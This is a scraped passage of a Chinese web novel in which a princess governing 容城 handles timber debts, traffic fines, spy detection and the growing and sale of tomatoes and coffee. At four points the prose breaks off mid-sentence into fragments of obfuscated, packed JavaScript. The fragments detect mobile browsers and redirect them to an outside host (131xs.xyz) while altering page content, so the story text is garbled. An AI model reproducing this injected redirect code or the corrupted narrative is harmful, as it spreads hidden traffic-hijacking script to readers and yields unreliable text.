萧柠只好叫衙役和士兵们来清场。 数日之内,已经有大部分百姓都找到了住的地方。 有一些百姓本来说自己绝不租房的,但看那些跟自己一起流浪的人全都租房了,他们也坚持不住了,选择了租房。 又过了几日,大街上终于看不到打地铺的人了。 萧柠松了一口气,非常开心。 系统给萧柠结算了三万积分,现在的积分是129850。 百姓的住房问题暂时解决了,现在要解决木材的问题。 108. 欠款(修) 萧柠问凌司马:“凌司马,以前容城的木材一般从哪里购买?” “一般从平州、宁州进货,这两个州盛产木材。” “这两个地区比较大的木材商人的名单给我一份。” “好的,等下官整理一下。” 半天后,凌长空给了萧柠一份名单,上面有三十多个姓名。 “公主,这些木材商人都比较有名,不过我已经派人跟他们所有人都接触过了,他们都不愿意赊木材给容城。” 萧柠接过名单,道:“我先拿去看看,想想办法。” 萧柠觉得萧玉蟾和瞿明修夫妇都出身高贵,也许他们会有人脉。 于是,她把这份名单拿给萧玉蟾和瞿明修看,道:“这些木材商人,你们有认识的吗?” 瞿明修指着其中两个名字,道:“这两家的木材,我们瞿家常买,我们家算是大客户了。我去找这两位老板说情,让他们赊一点木材,他们应该会同意。” 萧玉蟾也道:“我们王府也有几家常用的木材商,在这个名单上。我和明修分头去找这些认识的老板,看能赊出多少木材。” 萧柠欣喜道:“有劳你们了。” 萧玉蟾道:“公主不必客气。” 萧玉蟾和瞿明修没有耽搁,立刻出发。 他们的孩子暂时放在萧柠这里带,有一堆下人照顾着。 萧柠有空的时候,就逗逗这个孩子。 几天后,萧玉蟾和瞿明修分别给萧柠来了信。 萧玉蟾能借到160万斤木头,瞿明修能借到120万斤木头,木头会尽快运到容城来,路上大概要花费两个月。 至于运输的费用,萧玉蟾和瞿明修先垫付了。 这些木材大概只够盖1800多间房子,不太够,但勉强能撑住。 到时候可以让两三户人家挤一间房屋,暂时住着,比现在全都租房住要好一些。 不过,这么一来,木材钱又欠了一大笔。这笔亏空还不知道什么时候能还上。 朝廷的圣旨也发过来了,圣旨上说,由于国库空虚,暂时没钱支援容城,请容城官员自己想想办法。 皇帝还给萧柠带了一道口谕,说是如果容城太守太难当,她可以辞官回京,继续做公主。 萧柠也只是听听而已,她才不会被这么点困难打倒。 现在的财政赤字,也不过是36万两而已。 债多了不愁。 萧柠在庭院里踱步,喃喃道:“必须增加收入……怎么搞点钱呢……” 这时,她遇到了夏以清。 夏以清道:“公主,您看着很担忧的样子。” 萧柠苦笑道:“容城亏空这么多钱,我不担忧才怪了。也不知道怎样才能增加收入。唉,我自己都往里面贴了不少钱了。” “公主,其实皇上有口谕,说是允许您随时辞官回京。这容城的担子您本来就没必要挑,不如……” “这可不行,怎么能刚来就放弃呢?” “属下只是觉得您太辛苦了。” “没事,时间长了就适应了。” 夏以清便没再说什么。 萧柠忽然想到了一个办法——交通罚款。 南萧国也有交通法,比如马车要走在中间,行人要走在两边;马车不能在闹市区奔跑;车夫需要通过考试,取得驾车证明;年轻人要给老年人让路;等等。 违反交通法,要处以罚款或是鞭刑等刑罚。 不过,很多时候抓得不严。只有路上出了事故,官府才会介入。 在如今官府缺钱的情况下,交通法需要严格贯彻了。 虽然交通罚款的钱不太多,但积少成多,总能弥补一点亏空。收上来的钱,给官吏们发俸禄也是好的。 于是,萧柠就叫了几个重要的官吏,跟他们商量这件事。 凌司马道:“大人,若要抓交通罚款,需要不少人手,我们的人手不太够。” 萧柠想了想,道:“我可以去任将军那里借士兵,暂时帮忙一两个月。若日后有了别的增收途径,就可以让士兵回到军营了。” “如果任将军同意的话,此法倒是可行。” 于是,萧柠派了一个侍卫去军营,询问任将军是否有空。 侍卫回报说,任将军在忙,他没见到任将军。 一连数日,都是如此。 大概五六天后,侍卫终于见到了任将军,说明来意。 任将军说自己有空,可以请大公主过来。 于是,萧柠便去了军营,与任将军见面。 任将军道:“公主,前些天我忙着抓北胤的奸细,查了好多天,所以未曾接见您的使者,请见谅。” “无妨,奸细抓到了吗?” “抓到几个,只是不知道军中还有没有。对了,公主有什么事?” “我想抓交通罚款,但人手不够,需要向你借兵,大概需要借两百个。” “没问题,我让校尉孟休点上两百人,跟公主过去。” “多谢任将军。” “公主无需客气。不过公主为何突然管起交通罚款?” “官府账面上欠了太多钱,我只能想一些法子来创收。” “交通罚款抓不了多少钱,公主可以查一下商家的偷税漏税,还有剿匪。” “容城刚刚回归,还未恢复元气,如果此时查到商人头上,恐怕引起动乱,所以我暂时没下定决心。至于剿匪,肯定会有人员伤亡,我需要制定万全之策,也不能轻易行动。” “公主考虑得是。如果有需要虎贲军之处,尽管说明。像剿匪这种事,最好还是有将士参与。” “好的,那我先谢谢任将军了。” 萧柠正准备离开,忽然想到一事,对任将军道:“对了,任将军,我举荐一个人才,也许可以帮你辨别奸细。” “公主说的是谁?” “是一个十四岁的孩童,他叫郭南麟,明日我将他带来。” “孩童?他有什么本事?” “他的本事很特殊,您见识了就知道了。” 第二天,萧柠用一个棉花糖把郭南麟骗到了军营这边。 任将军问他:“孩子,你会什么?” 郭南麟道::“会……会吃。” 说着,他把萧柠手里的棉花糖拿过来,三口就吃完了。 任将军哭笑不得。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147051|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >萧柠道:“任将军,把这孩子带到城墙上,让他看看所有守城的士兵。他看一眼,就能记住。如果以后有哪位士兵被替换了,他马上就能知道。” 任将军惊讶:“有这么神?可我看他连自己姓什么都未必知道。” 萧柠笑道:“他未必知道自己姓什么,但他却知道树上的哪一朵花掉了花瓣。” 任将军将信将疑,将郭南麟带到了城墙上,让他看守城的士兵。 郭南麟都是随便看看,就移开了眼睛。 萧柠问道:“守城士兵都在这儿了吗?” “不是,守城士兵一共有三组,轮换着来,一组四十人,合计一百二十人。” “那就把休息的那两组士兵也叫过来吧。” “改天再看吧,这孩子一下子能记住这么多人?” “他可是很厉害的,不要小瞧他。” 于是,任将军把另外两组守城士兵也叫了过来。 一共一百二十人,都让郭南麟看了一遍。 接着,萧柠说道:“任将军,这孩子就留在你这儿了,你每天给他一点好吃的就行。记得每天让他认一认这些守城士兵。” “好,那就试试他是不是真有这么大的能耐。” 几天后,任将军派了一个士兵来找萧柠。 萧柠问道:“任将军有什么事找我?” 士兵道:“任将军说,他想让郭南麟那孩子一直住在军中。郭南麟这些天帮任将军找到了三个奸细,任将军开心得不得了。” 萧柠笑着问道:“他是怎么找到的?” “任将军按照您的吩咐,让郭南麟每天都辨认一下所有的守城士兵。结果,第三天他看那些士兵的时候,说其中一个士兵不对劲。我们都没发现哪里不对劲,明明那个士兵的样貌、外形什么的都没变化。 谁知,郭南麟却说,那个士兵的手不对,前几天的手不是那样。于是,我们对那个士兵进行了仔细盘查,发现他戴了人皮面具,果然是北胤细作假扮的。这些天,郭南麟靠着类似的方法,抓到了三个奸细,一抓一个准,如今军中都说他是神童呢。” “哈哈,我就说他很有本事。任将军既然要留下他,当然可以,不过要多准备一些零食。” “是。任将军说,让您放心,那孩子的所有开销都归他了,只要您别把那孩子往回要就行。” “替我转告任将军,就说只要我还在容城,郭南麟就一直待在他那里。” “是。” 向氏在一边干活,听见自己的儿子立功了,也十分高兴。 萧柠对她说道:“向大姐,你要跟孩子分开一段时间,不要紧吧?” “没关系,只要他有用就行……我真怕这孩子只会吃喝玩乐,没想到还能帮将军抓奸细,真是太好了……” “向大姐,我会跟任将军说,让你定期去探望郭南麟。” “看不看都行,只要这孩子有个好去处就好。” 系统对萧柠说道:“萧柠,你让郭南麟帮忙任将军抓细作,获得了两万积分,现在的积分是149850。” “好的。” 这时,有随从来报:“公主,门外有个小女孩想见您。” 109. 酸果(修) “小女孩?” 萧柠心道,自己在容城不认识什么小女孩呀。 之前自己的乳母金妈妈是容城人,但是萧柠已经把她们一家都带到京城了。 除此之外,再没有其他旧识。 不过,一个小女孩孤身前来,也许有什么事呢。或许她有冤情,却不知道怎么击鼓鸣冤,所以直接来拜访太守,也是有可能的。 萧柠不敢轻忽,来到了会客厅。 会客厅里有一个十三四岁的女孩,身材细长,皮肤比一般的女孩黑些,接近小麦色。她的容貌算不上出众,但一双眼睛却很亮,让人看了心生欢喜。 萧柠问道:“就是你找我吗?你是谁?” 这小女孩开心地跑过来,跪在萧柠身边,道:“公主,我叫任远志,也许您不记得我了,但我的名字是您取的……” “我给你取过名字?我只记得,五年前我在栾伊城的时候,给那里的女子取名,难道你是栾伊城人?” “对,当时您想了很多名字,写在一张纸上,任人挑选。我娘带着我和我姐姐来衙门选名字,我姐姐选了‘白英’这个名字,我选了‘远志’。当时我娘不同意我叫这个名,您还帮我说话了呢。” 萧柠依稀记得有这么回事,笑道:“原来是你啊。一转眼你都这么大了。今天来找我是有什么事吗?坐着说吧。” 萧柠把任远志拉了起来,让她坐在旁边的椅子上。 任远志有些激动地说道:“公主,自从我叫这个名字以后,我就觉得自己一定要有一番成就才行。我有个远房表舅是跑船的,他们的船会航行到很多地方。船上缺个打杂做饭的,他问我愿不愿意去。 我想见识见识远方的世界,就答应了。这些年,我跟着表舅到处跑,长了不少见识。我们还去过西洋国家,我带回两样特别的东西,想给您尝尝。我听说您来容城当太守了,正好我这几天在家,就跑到容城来了。” “原来是这样,是什么好东西,还要你大老远跑一趟?我都有些好奇了。” 任远志拿来一个小盒子,打开盖子。盒子里面有两样东西,一样是红色的果子,瞧着有苹果大小;一样是黑色的小豆子,有几十颗,但模样跟普通豆子不太一样。 任远志介绍道:“公主,这个红色的食物,是酸果,味道酸酸甜甜的,可以生吃,也可以炒菜吃。您尝尝,我已经洗干净了。” 萧柠拿起来尝了一口,口感果然酸酸甜甜的,还挺好吃的。 萧柠问道:“如果拿来炒菜,怎么吃?” “西洋人拿它炒鸡蛋,或者用来拌面。我自己在炖汤的时候放一点酸果进去,味道也很好。如果您有空的话,今天晚上我就可以做给您吃。我还带了一大袋酸果来,放在外面呢。” “好啊,那我就尝尝你做的菜。那这些黑色的小豆子怎么吃?” “这个,我叫它苦果,因为它很苦。这不能直接吃,而是磨碎了,泡水喝,我给您泡一杯。” “如果很苦的话,为什么要喝这个呢?” “因为它有一些功效,比如提神、改善心情。西洋人白天困的时候,会喝一杯苦果茶,喝完立刻不困了。或者他们会在一大早的时候喝,这样一整天都不犯困。我喝了之后,感觉会开心一些,不知道为什么。而且,喝完之后,无论是干活还是运动,都充满了干劲。” “这么神奇?那我得试试了。” 任远志把这些苦果放在石碗中捣碎,说道:“本来应该捣成细粉的,但这需要更长时间。今天只是给您试喝,我就减少时间了,只捣成了小颗粒。” “好,没关系。” 任远志又拿来一个漏斗形的容器,下面放了一个宽口杯。 接着,她往漏斗容器里垫了一张纸,然后用水打湿。 然后,她把磨好的苦果倒进去。 她拿来热水,少量注入。 漏斗容器是中空的,热水倒进去后,就渗到了底下的宽口杯中。 然后,她又倒了几次热水,直到下面的杯子快满了。 她把杯子拿出来,只见里面有黑色的汁液。 “公主,这就是苦果茶了,您尝尝。” 萧柠尝了一口,简直从嘴里苦到心里,再苦到天灵盖。她忍不住皱起了眉头。 “果然够苦……” 不过,没过一会,她就觉得很有精神。而且,她很想干活,觉得自己浑身充满了干劲。 “这苦果茶真的很神奇,我觉得我需要这个……你有没有多余的?” “还有一大袋呢,公主如果想要,就全都给您。” “好,谢谢。” 萧柠正想喝第二口,但又狠不下心。她觉得没必要对自己这么狠。 任远志道:“公主,其实里面可以加点东西,改善口感。” “加什么?” “可以加牛乳,或是糖,或是两者都加。” 说着,任远志取来牛乳和糖,加了一些进去,搅拌一下。 萧柠继续喝,觉得味道变了很多,变得特别好喝。 她一口气全喝完了,问道:“这个一天能喝几杯?” “最好只喝一杯,喝多了晚上会睡不着。” “真可惜……加了牛乳和糖之后,简直堪比琼浆玉液啊。” “公主,牛乳和糖加得越多,口感越好,但也容易喝进去过量的牛乳和糖,对身体有害。所以,我们不会每次喝都加牛乳和糖的,一般直接喝苦的比较多。” “好……我今天也算长见识了,多谢你。” 萧柠很期待晚上用酸果做出来的菜。 她让丫环去买一些糕点,招待任远志。 她一边跟任远志喝茶、吃点心,一边询问任远志在海外的所见所闻。 任远志说的话都让萧柠很吃惊。 比如,任远志说,西洋的姑娘皮肤像雪一样白,头发一般是蜷曲的、金黄的;西洋的男人都是高鼻深目,乍一看像是长了同一张脸,根本分不清谁是谁。 还有,他们吃牛肉的时候是整块煎,而且喜欢吃不熟的。 他们吃的面条很硬,需要用水煮较长时间才能变软,等等。 萧柠觉得自己长了不少见识。 她对任远志笑道:“远志,你小小年纪就去了这么多地方,真了不起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147052|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。你父母也放心你离开吗?” “其实,他们不太在乎我,所以也不会担心我。但正因如此,我才能去自己想去的地方,长很多见识。我的人生不会局限于一座小小的城,我觉得我拥有了全世界。” “你说的有道理。你真有勇气。” “我好像天生就比旁人胆大,也许我注定要走一条不一样的路。” “嗯。” 晚上,任远志用酸果做了几样菜。 酸果炒鸡蛋出乎意料地好吃,而且也很好看。 萧柠生吃过酸果,觉得这是一种水果,怎么能用来炒菜? 没想到,一筷子下去,她就再也停不下来了。 她对这种既能当水果、又能当蔬菜的食物,有很大的兴趣。 很快,酸果炒鸡蛋她就吃了大半盘。 酸果拌面条也别有一番风味。 以前萧柠吃过加了醋的面条,也是酸的,但跟酸果的味道完全不同。她觉得面条用酸果来拌,更加好吃。 还有一道菜,是用酸果、豆腐、香菇、金针菇炖的汤,也非常好喝,很下饭。 今天这顿饭,是萧柠来容城后吃得最多的一顿。 吃完后,萧柠还有些意犹未尽。 她对任远志道:“远志,你带来的这个酸果和苦果,真的太棒了!你下次去西洋国家的时候,再给我带点来。” “公主,我有酸果的种子,您可以自己种。种下之后,大概三个月之内会成熟结果,到时候您就可以吃到很多酸果了。苦果的种子也有,我一起给您。不过,苦果可能不太好种,您可以先试试看。” 说着,任远志把这两种果子的种子交给了萧柠,萧柠很开心。 天色已晚,萧柠就没让任远志离开,而是留她住几天。正好自己也怪闷的,留着她说话,可以解解闷。 晚上,萧柠用夸夸群拍了酸果和苦果的视频,上传到群里。 【萧柠:姐姐们,今天有人给我带来这两种食物,你们认识吗?】 【回笼教教主:咦,这不是番茄和咖啡豆吗?】 【萧柠:这叫酸果和苦果。】 【回笼教教主:噗,酸果和苦果,真会起名字,哈哈哈哈哈】 【樱桃小完犊子:这在我们这个年代很常见,我们几乎每天都吃。那种酸果,我们叫番茄,也叫西红柿,营养价值很高的。那个苦果,我们叫咖啡豆,制成咖啡很受欢迎。】 【萧柠:原来你们管这两样食物叫番茄和咖啡豆……感觉这两个名字合适一点,酸果和苦果听着就命很苦的样子。】 【你已被群主移出群聊:哈哈哈哈哈哈】 【活人微死:小柠,你觉得味道怎么样?】 【萧柠:我喜欢吃酸果,就是番茄。但是苦果茶,也就是咖啡,味道太苦了,加点牛乳和糖会好一些。】 【感觉尸体暖暖的:哈哈哈,最苦的是人生啊。】 【只涨工资不长肉:你不许说话!】 【活人微死:谁让你泄露这种机密的?】 【有趣的灵魂一百多斤:你这样说会不会有点太伤我们?@感觉尸体暖暖的】 110. 催熟(修) 【感觉尸体暖暖的:哈哈哈哈哈哈】 【樱桃小完犊子:hhhhhhhhh笑不活了】 【你已被群主移出群聊:咖啡哪有上班苦,我现在每天靠两杯咖啡续命。】 【萧柠:我听说咖啡不能喝太多。】 【你已被群主移出群聊:没办法,不喝两杯会犯困,犯困就会出错,出错就会扣工资,扣工资就喝不起咖啡,完美闭环~】 【萧柠:姐姐真可怜。】 【你已被群主移出群聊:哈哈哈哈也还好,我现在每天等着老板开除我,我好拿N+1】 【萧柠:这个奇怪的符号是什么意思?】 【你已被群主移出群聊:噗,很难解释,不要在意这种细节。】 【樱桃小完犊子:对了小柠,前几天你不是说官府缺钱吗?我觉得,你可以把番茄和咖啡种植起来,用于出售,提高财政收入。】 【萧柠:是个好主意。可是,农作物卖不了多少钱吧?】 【樱桃小完犊子:你们那里没有番茄和咖啡,物以稀为贵,你可以卖得贵一点。】 【只涨工资不长肉:这不现实,番茄要种三四个月才能收获,咖啡树要三五年才能结果,时间成本太高了。】 【樱桃小完犊子:这倒是。不过,可以把这个方案作为备选,聊胜于无嘛。】 【萧柠:原来咖啡树要好几年才能结果啊。】 【只涨工资不长肉:对,而且你们那里未必种得出来。种番茄问题倒不大,你自己吃是够了。】 【萧柠:嗯。】 【活人微死:对了小柠,其实番茄还有很多种吃法,我找一些美食视频给你看。】 【感觉尸体暖暖的:我也找几个。番茄可以说是一种很百搭的食物了。你学会了不同的做法,以后可以经常换换口味。】 很快,群友们就上传了一些视频。 里面有凉拌西红柿、番茄炒茄子、番茄酱蘸薯条、番茄烩饭、番茄炖蛋、番茄土豆丁等菜肴的制作方法。 萧柠看了看,觉得自己越来越饿了。 【萧柠:完了,我好饿。】 【回笼教教主:哈哈哈哈不要在深夜看这种啊,白天看吧。】 【萧柠:好的。】 第二天,萧柠又看了一遍,学会了十来种番茄的做法。 她把这些做法说给任远志听,任远志做了出来,果然都很好吃。 几天后,任远志要走了,她要先回家,然后过几天跟表舅出海。 萧柠送了她许多礼物,又给她雇了一辆马车,道:“远志,你以后有空,可以常到我这儿来。” 任远志道:“这样会不会耽误公主的正事?” “不会,其实你给了我很多启发,对我有帮助。” “好,那我一定常来。” 萧柠目送着任远志离开,然后忙了一会公务。 忙完后,她来到官田,种下了番茄种子。 咖啡种子会长成咖啡树,应该没法长在田里,她便把咖啡种子种在了一片荒山上。 她期待着番茄和咖啡长出来的那一天。 这时,系统对她说道:“萧柠,商城里有催熟液,你应该用得上。” “催熟液是什么?” “一种高科技产品,可以加速农作物的成熟。番茄种子的话,用一瓶就可以在十天左右成熟了。” “真的吗?多少积分一瓶?” “500积分。” “可是,催熟的话,营养价值会不会没有自然成熟的高?” “不会,营养价值是一样的。这个催熟液是来自未来世界的高科技商品,好用且无害。” “那先来一瓶试试。” “好的,积分已扣除,现在的积分是144850。催熟液已经在你手里了。” 萧柠手里多了个透明的小瓶子,瓶子里有一些绿色的液体。 萧柠试着把催熟液倒了下去,番茄种子立刻发芽了。 萧柠十分惊喜。 系统道:“明天你在番茄苗旁边插几根竹竿,把番茄苗绑上去,免得长歪了。第三天和第四天把多余的枝叶剪掉,第五天和第六天给土壤补充一点营养。第十天的时候,就能收获了。这些活你要是干不来,可以叫下属帮你干。” “好。那咖啡树能催熟吗?” “咖啡树生长周期长,需要用五瓶催熟液,可以把成熟时间缩短在三个月左右。” “好,那我给咖啡树也催熟一下。” “五瓶催熟液已发放,扣除积分2500,现在的积分是142350。” 萧柠把五瓶催熟液都倒在了咖啡种子那里,咖啡树的幼苗也长了出来。 “多宝,能不能多买几瓶催熟液,进一步缩短成熟时间?” “不行,这已经是极限了,再多浇灌下去也没用。” “好吧。” “现在你只需要耐心等待就好,十天后番茄就成熟了,三个月后咖啡果也成熟了。” “嗯。” 萧柠觉得,如果这两种果实都能催熟,就可以实现靠它们盈利了。 她心里有了一些计划。 她让自己的侍卫们看守着官田和旁边的荒山,日夜轮值,不得懈怠,也不能让闲杂人等靠近。发现异常,立刻上报。 番茄种子和咖啡种子目前只有她有,她不能让种子流落到外面去。 同时,侍卫们每天要照管一下番茄幼苗和树苗,这都是简单的农活,对他们来说比较简单。 有侍卫们管着官田,萧柠放心地去处理公务了。 她让书吏们张贴告示,告诉各商户,以前有税款没交齐的,给他们两个月时间,自己到官府报税,把税款交齐。 只要在期限之内交齐,不仅不会受罚,还会获得官府发放的盲盒礼包一个。 超过规定的期限,官府要开始严查偷税漏税。到时候被发现的话,就不是补齐税款这么简单了,还要处以罚款,甚至关掉店铺。 告示张贴出去后,萧柠日夜盼望着有人来补交税款。 至于买礼物的钱,就从交通罚款里出。 这些天士兵们抓交通罚款,也收上来一些钱。不是很多,合计五十多两,可以先买一些礼品了。 给商户的礼品不能太便宜,他们补交税款一般都会交很多钱。官府投桃报李,也应该客气一些。 虽然交税是他们的义务,但他们能够主动来交,已经算是给官府省事了。像这样的商户,要建立长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147053|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期友好关系。所以,这头一回送礼,就不能太寒酸。 这些交通罚款,全用来买礼品了,准备了一百多份。 过了几天,陆陆续续有一些小商户来补交税款了。 他们的生意不大,所以要交的钱也不多,一般是几十两,十几两,甚至有二三两银子的。 萧柠让官吏们核实他们的账目,确定该补交的数目无误,然后萧柠直接把最名贵的几样礼物送给了他们,也不让他们抽盲盒了。 因为礼物的价值不等,抽盲盒可能抽到不太贵的东西。 有些商户得到的礼物,其价值都快跟自己补交的税款差不多了。 因此,这些小商户都欢天喜地的,纷纷表示以后会第一时间交税,不再拖欠税款。 有个小吏问道:“公主,您把最贵的礼物送给了这些小商户,等大商户来了,难道要给便宜一些的礼物吗?这样不合理啊。” 萧柠道:“不,这很合理。这些礼物本就是本官额外送给他们的,哪轮得到他们挑肥拣瘦?我就算一点东西都不送,就算收了税款还把他们骂一顿、打一顿,也合情合理,因为这些人本就没有按时交税,本就是违法行为。 而且,我就是要让商户们知道,第一时间支持我的政策,就会得到最大的回报。以后,大家的积极性都会提高。” “原来如此,还是公主高明。” 过了几天,又有一些中等规模的商户来补交税款了。 萧柠照样是以礼相待。老实补齐税款的,可以抽一个盲盒;如果有在账本上做文章,企图少交一点的,会被当场揭穿,严令他们交齐税款。 十来天后,税款一共收了一千多两。 萧柠把这笔钱用来补发官吏们前几个月的月俸,剩下几十两银子继续买礼物,就花得差不多了。 官吏们得到了拖欠已久的月俸,都激动得不行,纷纷要请萧柠吃饭。 萧柠笑道:“你们这么多人,我也没工夫一一去吃,干脆就一家都不吃了。我今天有更重要的事要做。” 就在刚刚,有个侍卫偷偷跟萧柠禀报,说番茄成熟了。 萧柠早就激动得不行,想亲自去看看果实。 她找了个借口,辞别众人,然后来到官田。 官田里的番茄已经被一种半透明的布给遮起来了,从外面看,看不清里面是什么,只能隐约看出是红色的东西。 萧柠问其中一个侍卫:“这布是你们盖起来的?” “是的公主,为了不泄露秘密,避免别人窥探,我们就把番茄果实给盖起来了。” “现在掀开看看。” 布被掀开,萧柠看到十几株番茄苗,上面结满了红彤彤的番茄,大概有一百多个。 任远志给的种子不多,所以长出来的番茄苗只有这一些。 不过现在,有了新结出来的番茄,就可以获得更多的种子了。 萧柠留下十个番茄作为种子,剩下的番茄全都摘下来,放到袋子里,用于食用。 她给看守官田的三十个侍卫每人发了两个番茄,道:“诸位这些天辛苦了,这是你们守护的果实,你们先吃。” 侍卫们都推辞道:“为公主做事是我们分内之事,怎么能接受这么珍贵的果子呢?” 111. 请客(修) “是啊,公主,您留着自己吃吧。” 萧柠道:“没关系,这里有好多呢,剩下的果子够我用了。等以后种子多了,自然会有更多的果实。” 在萧柠的坚持下,侍卫们才吃了起来。 他们眼中都露出惊喜的目光,看来是从来没吃过这么好吃的果子。 “这个果子真不错,以后我们也可以吃吗?” 萧柠笑道:“当然可以,等以后越种越多,只怕你们吃不过来。过几天我要种第二茬,到时候还要辛苦你们帮忙看着。” “是。” 系统道:“萧柠,你给侍卫们分番茄吃,获得150积分。发放了官吏们拖欠已久的月俸,获得4000积分。现在的积分是146500。” “谢谢。积分这么有用,我可要多攒一点,换更多的催熟液。” “加油,萧柠,说不定你会成为南萧国第一个以搞农业而闻名的女官。” “噗。” 萧柠去看了看咖啡树,现在咖啡树已经是一株小树苗了,长出了嫩绿的叶子。 她打算移植几棵高大的树木过来,种在咖啡树的四周,用来隐蔽咖啡树。 她拿出一些银两,吩咐几个侍卫去买几株杉树、望天树之类的树苗,跟咖啡树种在一起。 侍卫们领命而去。 接着,她要开始提取番茄的种子了。 提取番茄种子的方法,夸夸群的人教过她。 把番茄切成小块,将里面的果肉种子挖出来,放在杯子里。 然后用纱布把杯子包紧,放置三天。 三天后,把番茄种子冲洗几次,然后拿出来晾干,就可以了。 萧柠把十个番茄的种子都挖了出来,保存在杯子里,带了回去。 只等三天后,就可以再次播种。 同时,已经结了一次果的番茄苗,也可以再次结果,大概能结两三次。 萧柠把番茄种子保存起来,然后叫来瞿明修:“瞿长史,你去找容城内一些大酒楼的老板,就说明天我请他们吃饭,请他们务必赏脸光临。” “是。要请多少个?” “十来个吧。” “好的,属下这就去办。” 萧柠把从地里摘回来的番茄交给冬香和小雪,然后把番茄的各种做法告诉她们,让她们明天做番茄宴。 冬香道:“公主,我们以前从来没做过这种菜,怕做不好。” 萧柠道:“别紧张,实在拿捏不好调料,可以少放调料,因为番茄本身的味道已经足够浓郁了。我一会写一张菜谱,上面写明每道菜的步骤,你们对照着做,应该没问题了。” “是。” 萧柠屏退下人,一个人待在房间里,打开了夸夸群。 然后,她把群里的做菜视频又看了一遍。 一边看,一边在纸上记录做菜的步骤。 冬香和小雪识字不多,萧柠尽量写得简单些,再辅以简单的画。比如要把番茄去皮的时候,她就画一壶滚烫的开水,再画一个番茄,示意用开水给番茄去皮。 写完菜谱后,她交给了冬香和小雪。 第二天中午,被邀请的酒楼老板都来了。 众人客气地谦让一番,各自入座。 这些老板见新太守是个女官,眼神中都透露出惊奇、怀疑等情绪,有的老板甚至打量起萧柠的长相来,露出一种很满意的神情。 这种种目光令萧柠不喜,但萧柠想到自己今天的目的,便按捺下心中的不快,笑道:“今日请各位老板过来,是因为本官有一样特殊的食物要推荐给大家。” 接着,萧柠拍了拍手,下人们端来很多菜,每一样菜都是用番茄做的。 萧柠客气地招呼:“众位老板,这种红色的食物,叫做番茄,可以做很多菜,大家尝尝。” 众老板好奇地盯着眼前的菜,都不敢动筷子。 有个老板问道:“大人,这菜什么味啊?” “番茄是酸甜味的,大家自己尝尝就知道了。” 有几个老板伸出了筷子,却不敢夹。 萧柠笑着夹了一块凉拌番茄,吃了下去。接着,她介绍道:“我刚才吃的是一道凉菜,叫凉拌番茄。” 见萧柠动筷,其他老板也纷纷下箸。 吃进嘴里后,他们纷纷露出了惊讶的表情。 “这道菜……倒出乎意料地好吃啊。” “是啊,我平时不爱吃甜的,但这道凉拌番茄除了甜味,还有酸味,比较可口,我吃着还不错。不知里面放了多少白醋?” 萧柠道:“没放白醋,酸味来自番茄本身。” “真的吗?这真是……令人惊讶啊。” “好吃好吃,我再吃一块。” “这凉拌番茄,做法简单,摆盘好看,如果引进我的酒楼,一定很受欢迎啊。” “我也觉得这道凉菜很好卖,可以跟凉拌黄瓜、凉拌海带丝一样,成为常见的餐前凉菜。太守大人,不知这番茄是从何处得来?我们能不能购买?” “这是我种出来的,购买的事一会再说。诸位先尝尝别的菜。” 众人又吃了番茄炒蛋、番茄豆腐菌菇汤、番茄炖土豆等菜,都赞不绝口。 萧柠见大家吃得差不多了,便开口说道:“这番茄是新品种,既可以当水果,也可以当蔬菜,做法简单又多样,在市面上还没有销售。 诸位老板刚才也尝了用番茄做的菜,相信你们的评价都很高。如果把番茄引进你们的酒楼,一定能大赚一笔。这些菜本官还未曾让别人尝过,你们是第一批。 不知诸位意下如何?如果愿意从官府购买番茄,现在就可以签订合约。” 老板们都有些犹豫。 有个老板问道:“大人,这番茄很贵吧?” “暂定二十文一个,一两银子可以买五十个。” 老板们说道:“这……作为蔬菜,这价格有点高了啊……” “是啊,进价这么贵,做成菜一定更贵。那很多人不愿意点啊。” “百姓们以前从没吃过这个,我不敢冒险。” “我也是。” 萧柠道:“诸位的酒楼也有一些很贵的菜,点的人也少,但每有人点一次,就能赚一次钱。便宜的菜点的人多,但利润也薄。你们把番茄做的菜归入贵价菜里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147054|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面,不就行了?自然有有钱人来吃的。” 